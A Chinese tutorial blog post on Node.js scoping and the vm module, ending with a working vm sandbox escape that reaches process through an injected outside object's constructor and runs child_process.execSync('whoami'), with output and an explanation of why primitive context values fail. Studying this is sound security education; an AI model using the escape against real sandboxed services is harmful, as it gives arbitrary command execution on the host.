nodejs VM沙箱绕过

nodejs vm沙箱绕过

1.基本概念——什么是沙箱(sandbox)

当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

2.nodejs的作用域

在node中作用域一般被称为上下文。作用域之间一般是相互隔离的,而在node中我们写一个项目时往往需要在某个文件里ruquire其他的js文件,这些文件通常我们称为“包”或者“模块”。而这包与包之间是无法直接调用变量和函数的,举个例子。

在同一级的目录下创建两个js文件,a1.js和a2.js。

//在a1.js文件中写上以下代码
var num = 100;

//在a2.js文件中写上以下代码
const a = require("./a1");  //调用同一级目录下的a1文件
console.log(a.num);

//运行a2.js的结果为
[Running] node "f:\nodejs\a2.js"
undefined
//结果发现输出的num值是没有定义,也就是说a2文件尽管调用引入了a1文件,但是无法读取a1文件中的变量参数。

如果要使a2.js文件能够读取引入a1.js文件中的变量参数,可以在a1.js文件中写上输出接口exports。

//a1.js文件中添加exprots的输出语句
var num = 100;
exports.num = num;

//此时a2.js文件运行输出结果为
[Running] node "f:\nodejs\a2.js"
100
//可以看出a2成功拿到了a1中的变量参数

其中a1.js和a2.js的关系为

在这里插入图片描述

可以看出,a1和a2是在global环境下两个相对独立并相互隔离的空间。而这其中的global为全局对象,在js中全局对象为window,而在nodejs中全局对象为global。

3.vm模块的运行原理

运用前面的一些原理,如果要实现沙箱的隔离作用,我们可以创建一个新的作用域,让代码运行到这个作用域内,使其与其他作用域进行了隔离。

以下是vm运行的几个常用的函数:

vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8(Chrome中的v8引擎)为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

在这里插入图片描述

const vm = require('vm');
global.a = 1;
const sandbox = { a: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('a*=2;', sandbox);

console.log(sandbox);
console.log(a); 
//输出为
[Running] node "f:\nodejs\vmtext.js"
{ a: 4 }
1
//上下文中的a在输出中应为2*2=4,但是真正输出结果a仍是1,即沙箱内部无法访问到global的属性。
4.沙箱绕过

下面请看一个逃逸的例子。

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = this.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111

//与计算机终端使用whoami命令输出结果一致,证明逃逸成功

计算机终端输出结果

在这里插入图片描述

那么这是如何实现的?

上面代码中的this指向其实是全局,也就是说this.toString.constructor就是Function。node执行rce需要引入process对象来导入child_process,从而执行命令。但process挂载在global上,那么我们逃逸的最基本思路就是在global全局中拿到process。在此,我们可以通过原型链的方式找到全局的Function来拿到process,从而获取到child_process进行命令执行。

5.沙箱绕过的一些问题

为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?

{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

另一个问题,例如以下代码,m和n也是沙盒外的对象,为什么也不能m.toString.constructor('return process')()呢?

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = m.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1, n:2};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//这里是访问不到外部的

这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用(类似于函数传递形参),所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的。

当然,如果我们把其修改为context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = m.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m: [], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111

沙箱绕过的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值